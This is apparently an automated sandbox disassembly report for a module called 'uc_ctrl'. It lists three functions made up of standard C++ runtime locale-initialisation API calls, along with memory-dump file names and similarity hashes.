Instruction Fuzzy Hash: 743139755083059FC304CF28D450A6BBBF4FF89354F44891DF9AA97294D7B0EA48CB82

Function 6D1AE4AE Relevance: 107.2, APIs: 58, Strings: 3, Instructions: 437COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(-00000001,00000002,?,00000000,?,6D1B8C7E,?,?,00000000), ref: 6D1AE4CD
memcpy.VCRUNTIME140(00000000,?,00000000,00000001,0000003C,6D1B96D5,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE4E1
Concurrency::cancel_current_task.LIBCPMT(?,?,00000000), ref: 6D1AE4EF

Part of subcall function 6D1BDEF0: _CxxThrowException.VCRUNTIME140(?,6D1D3ABC), ref: 6D1BDF07
Part of subcall function 6D1BDEF0: std::bad_exception::bad_exception.LIBCMT ref: 6D1BDF1C
Part of subcall function 6D1BDEF0: _CxxThrowException.VCRUNTIME140(?,6D1D3CD4,?), ref: 6D1BDF2A

__EH_prolog3.LIBCMT ref: 6D1AE507
??0?$ctype@_W@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,?,00000010,?,?,00000000), ref: 6D1AE543

Part of subcall function 6D1A3810: __EH_prolog3.LIBCMT ref: 6D1A3817
Part of subcall function 6D1A3810: ctype.LIBCPMT(?,00000004,6D1A38A1,00000000,00000000,0000003C,6D1AE0B3,00000001,?,00000000,?,00000000), ref: 6D1A3834

??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE71C

Part of subcall function 6D1B97B8: __EH_prolog3.LIBCMT ref: 6D1B97BF
Part of subcall function 6D1B97B8: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AE72A,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1B97CA
Part of subcall function 6D1B97B8: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1B97E2
Part of subcall function 6D1B97B8: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1B9844

??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE76D

Part of subcall function 6D1B9851: __EH_prolog3.LIBCMT ref: 6D1B9858
Part of subcall function 6D1B9851: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AE77B,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D1B9863
Part of subcall function 6D1B9851: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1B987B
Part of subcall function 6D1B9851: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1B98DD

??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D1AE7BE

Part of subcall function 6D1B98EA: __EH_prolog3.LIBCMT ref: 6D1B98F1
Part of subcall function 6D1B98EA: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AE7CC), ref: 6D1B98FC
Part of subcall function 6D1B98EA: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D1B9914
Part of subcall function 6D1B98EA: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6D1B9976

Part of subcall function 6D1B8B2C: __EH_prolog3_catch.LIBCMT ref: 6D1B8B33
Part of subcall function 6D1B8B2C: _Getcvt.MSVCP140(?,00000034,6D1B21F7,?,00000001,0000003C,6D1B99D2,00000000), ref: 6D1B8B41
Part of subcall function 6D1B8B2C: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000034,6D1B21F7,?,00000001,0000003C,6D1B99D2,00000000), ref: 6D1B8B50

??Bid@locale@std@@QAEIXZ.MSVCP140(00000058,00000000), ref: 6D1AE824
??Bid@locale@std@@QAEIXZ.MSVCP140(00000058,?), ref: 6D1AE893
new.LIBCMT ref: 6D1AE858

Part of subcall function 6D1CA364: _callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA36C
Part of subcall function 6D1CA364: Concurrency::cancel_current_task.LIBCPMT ref: 6D1CA37C

??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6D1AE8A1
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000), ref: 6D1AE8B2
new.LIBCMT ref: 6D1AE8CB
??0?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,?), ref: 6D1AE8E1
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?), ref: 6D1AE8F1
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?), ref: 6D1AE910
new.LIBCMT ref: 6D1AE925
?_Init@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000010,6D1A80E0,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?), ref: 6D1AE941
??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000010,6D1A80E0,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?), ref: 6D1AE94B
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6D1A80E0,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148,?), ref: 6D1AE96A
new.LIBCMT ref: 6D1AE97E
??0?$codecvt@_WDU_Mbstatet@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,00000000,00000010,6D1A80E0,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148,?,0000003F), ref: 6D1AE994
??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000,00000010,6D1A80E0,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148,?,0000003F), ref: 6D1AE9A4
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000), ref: 6D1AE843

Part of subcall function 6D1A81D0: __EH_prolog3.LIBCMT ref: 6D1A81D7
Part of subcall function 6D1A81D0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6D1BAB8A,00000000,00000000,00000000,0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?), ref: 6D1A81E0
Part of subcall function 6D1A81D0: _realloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000004), ref: 6D1A8209
Part of subcall function 6D1A81D0: Concurrency::cancel_current_task.LIBCPMT(?,00000004), ref: 6D1A8215
Part of subcall function 6D1A81D0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,00000004), ref: 6D1A8288

??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000010,?,?,00000000), ref: 6D1AE553

Part of subcall function 6D1A18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01109540,6D1F3E74,?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?), ref: 6D1A1900
Part of subcall function 6D1A18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000), ref: 6D1A191B

new.LIBCMT ref: 6D1AE52F

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,?,?,00000000), ref: 6D1AE561
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,00000010,?,?,00000000), ref: 6D1AE572
new.LIBCMT ref: 6D1AE58B
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000000), ref: 6D1AE5A4
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000000), ref: 6D1AE5B2
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,00000000), ref: 6D1AE5C3
new.LIBCMT ref: 6D1AE5DC
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6D1AE5F5
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6D1AE603
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,00000000), ref: 6D1AE614
new.LIBCMT ref: 6D1AE629
??Bid@locale@std@@QAEIXZ.MSVCP140(00000018,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE65A
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6D1AE668
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE679
new.LIBCMT ref: 6D1AE68E
_Getcoll.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6D1AE6AD
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6D1AE6C1
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6D1AE6CF
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE6E0
new.LIBCMT ref: 6D1AE6F5
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE70E
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE72D
new.LIBCMT ref: 6D1AE746
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE75F
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D1AE77E
new.LIBCMT ref: 6D1AE797
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D1AE7B0
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000), ref: 6D1AE7CF
new.LIBCMT ref: 6D1AE7E8
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6D1A80E0,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148,?), ref: 6D1AE9C3

Strings

&, xrefs: 6D1AE8DA
+, xrefs: 6D1AE98D
false, xrefs: 6D1AE43E, 6D1AE481, 6D1AE4AE

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: Bid@locale@std@@$Addfac@_Locimp@locale@std@@Locimp_V123@Vfacet@23@$H_prolog3$??1_Lockit@std@@_lock_locales$Concurrency::cancel_current_taskLocinfo@1@$ExceptionThrowU?$char_traits@_W@std@@@std@@@std@@$??0?$codecvt@_??0?$ctype@_??0?$time_get@_GetcollGetcvtH_prolog3_catchInit@?$time_put@_Locinfo@2@@Mbstatet@@@std@@V?$istreambuf_iterator@_V?$ostreambuf_iterator@_W@std@@_callnewh_realloc_basecallocctypelocaleconvmallocmemcpystd::bad_exception::bad_exception
String ID: &$+$false
API String ID: 918722702-3602265664
Opcode ID: 10326b7682739cc50ebe8534db325965dde112a08e2819e153b50424fb08ac15
Instruction ID: a8714be2619dbe96d058a428de52dc09655b9b70694af142b818f7f173e52208
Opcode Fuzzy Hash: 10326b7682739cc50ebe8534db325965dde112a08e2819e153b50424fb08ac15
Instruction Fuzzy Hash: 01D13EB8F083019FDB119FA8491067F76E9AF95364F0A451DEA55EB28CDFF44E0087A2

Function 6D1AE9E0 Relevance: 103.7, APIs: 58, Strings: 1, Instructions: 413COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1AE9E7
??0?$ctype@G@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,00000000,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1AEA23

Part of subcall function 6D1A3D20: __EH_prolog3.LIBCMT ref: 6D1A3D27
Part of subcall function 6D1A3D20: ctype.LIBCPMT(?,00000004,6D1A3DB1,00000000,00000000,0000003C,6D1AD9BC,?,?,00000000,?,?,?,00000004), ref: 6D1A3D44

??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148), ref: 6D1AEBFC

Part of subcall function 6D1B9E53: __EH_prolog3.LIBCMT ref: 6D1B9E5A
Part of subcall function 6D1B9E53: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEC0A,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9E65
Part of subcall function 6D1B9E53: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9E7D
Part of subcall function 6D1B9E53: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1B9EDF

??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148), ref: 6D1AEC4D

Part of subcall function 6D1B9EEC: __EH_prolog3.LIBCMT ref: 6D1B9EF3
Part of subcall function 6D1B9EEC: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEC5B,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9EFE
Part of subcall function 6D1B9EEC: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9F16
Part of subcall function 6D1B9EEC: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1B9F78

??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148), ref: 6D1AEC9E

Part of subcall function 6D1B9F85: __EH_prolog3.LIBCMT ref: 6D1B9F8C
Part of subcall function 6D1B9F85: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AECAC,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9F97
Part of subcall function 6D1B9F85: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9FAF
Part of subcall function 6D1B9F85: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1BA011

Part of subcall function 6D1B8197: __EH_prolog3_catch.LIBCMT ref: 6D1B819E
Part of subcall function 6D1B8197: _Getcvt.MSVCP140(?,00000034,6D1AFD27), ref: 6D1B81AC
Part of subcall function 6D1B8197: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000034,6D1AFD27), ref: 6D1B81BB

??Bid@locale@std@@QAEIXZ.MSVCP140(00000058,00000000), ref: 6D1AED04
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00000004), ref: 6D1AED73
new.LIBCMT ref: 6D1AED38

Part of subcall function 6D1CA364: _callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA36C
Part of subcall function 6D1CA364: Concurrency::cancel_current_task.LIBCPMT ref: 6D1CA37C

??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6D1AED81
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000), ref: 6D1AED92
new.LIBCMT ref: 6D1AEDAB
??0?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,00000000,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1AEDC1
??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1AEDD1
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148), ref: 6D1AEDDF
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6D1AEDF0
new.LIBCMT ref: 6D1AEE05
?_Init@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C), ref: 6D1AEE21
??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C), ref: 6D1AEE2B
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148), ref: 6D1AEE39
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6D1AEE4A
new.LIBCMT ref: 6D1AEE5E
??0?$codecvt@GDU_Mbstatet@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,00000000,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1AEE74
??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1AEE84
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148), ref: 6D1AEE92
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000), ref: 6D1AED23

Part of subcall function 6D1A81D0: __EH_prolog3.LIBCMT ref: 6D1A81D7
Part of subcall function 6D1A81D0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6D1BAB8A,00000000,00000000,00000000,0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?), ref: 6D1A81E0
Part of subcall function 6D1A81D0: _realloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000004), ref: 6D1A8209
Part of subcall function 6D1A81D0: Concurrency::cancel_current_task.LIBCPMT(?,00000004), ref: 6D1A8215
Part of subcall function 6D1A81D0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,00000004), ref: 6D1A8288

??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1AEA33

Part of subcall function 6D1A18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01109540,6D1F3E74,?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?), ref: 6D1A1900
Part of subcall function 6D1A18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000), ref: 6D1A191B

new.LIBCMT ref: 6D1AEA0F

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148), ref: 6D1AEA41
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6D1AEA52
new.LIBCMT ref: 6D1AEA6B
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148), ref: 6D1AEA84
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148), ref: 6D1AEA92
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6D1AEAA3
new.LIBCMT ref: 6D1AEABC
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148), ref: 6D1AEAD5
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148), ref: 6D1AEAE3
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6D1AEAF4
new.LIBCMT ref: 6D1AEB09
??Bid@locale@std@@QAEIXZ.MSVCP140(00000018,00000000), ref: 6D1AEB3A
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6D1AEB48
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000), ref: 6D1AEB59
new.LIBCMT ref: 6D1AEB6E
_Getcoll.MSVCP140(00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148), ref: 6D1AEB8D
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148), ref: 6D1AEBA1
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148), ref: 6D1AEBAF
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6D1AEBC0
new.LIBCMT ref: 6D1AEBD5
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148), ref: 6D1AEBEE
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6D1AEC0D
new.LIBCMT ref: 6D1AEC26
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148), ref: 6D1AEC3F
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6D1AEC5E
new.LIBCMT ref: 6D1AEC77
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6D1A8148), ref: 6D1AEC90
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6D1AECAF
new.LIBCMT ref: 6D1AECC8
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6D1AEEA3

Strings

+, xrefs: 6D1AEE6D

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: Bid@locale@std@@$Addfac@_Locimp@locale@std@@Locimp_V123@Vfacet@23@$H_prolog3$??1_Lockit@std@@_lock_locales$Locinfo@1@$Concurrency::cancel_current_task$??0?$codecvt@??0?$ctype@??0?$time_get@G@std@@G@std@@@std@@@std@@GetcollGetcvtH_prolog3_catchInit@?$time_put@_Locinfo@2@@Mbstatet@@@std@@U?$char_traits@U?$char_traits@_V?$istreambuf_iterator@V?$ostreambuf_iterator@_W@std@@@std@@@std@@_callnewh_realloc_basectypelocaleconvmalloc
String ID: +
API String ID: 3751347316-2126386893
Opcode ID: 072e034888bac57e8213e1aab88cb126adef6802fcbe0df87e93acce0449b2d5
Instruction ID: 8e7054f06f3afed4d9da923032f0767ac0410a1d65aa490ede8ceac2994f0955
Opcode Fuzzy Hash: 072e034888bac57e8213e1aab88cb126adef6802fcbe0df87e93acce0449b2d5
Instruction Fuzzy Hash: 16D12CB8F483019FDB119B784910A7FB6E9AF95364F0A411DE955EB28CCFF44E0087A2

Function 6D1AE500 Relevance: 87.8, APIs: 48, Strings: 2, Instructions: 343COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1AE507
??0?$ctype@_W@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,?,00000010,?,?,00000000), ref: 6D1AE543

Part of subcall function 6D1A3810: __EH_prolog3.LIBCMT ref: 6D1A3817
Part of subcall function 6D1A3810: ctype.LIBCPMT(?,00000004,6D1A38A1,00000000,00000000,0000003C,6D1AE0B3,00000001,?,00000000,?,00000000), ref: 6D1A3834

??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000010,?,?,00000000), ref: 6D1AE553

Part of subcall function 6D1A18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01109540,6D1F3E74,?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?), ref: 6D1A1900
Part of subcall function 6D1A18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000), ref: 6D1A191B

new.LIBCMT ref: 6D1AE52F

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,?,?,00000000), ref: 6D1AE561
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,00000010,?,?,00000000), ref: 6D1AE572
new.LIBCMT ref: 6D1AE58B
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000000), ref: 6D1AE5A4
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000000), ref: 6D1AE5B2
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,00000000), ref: 6D1AE5C3
new.LIBCMT ref: 6D1AE5DC
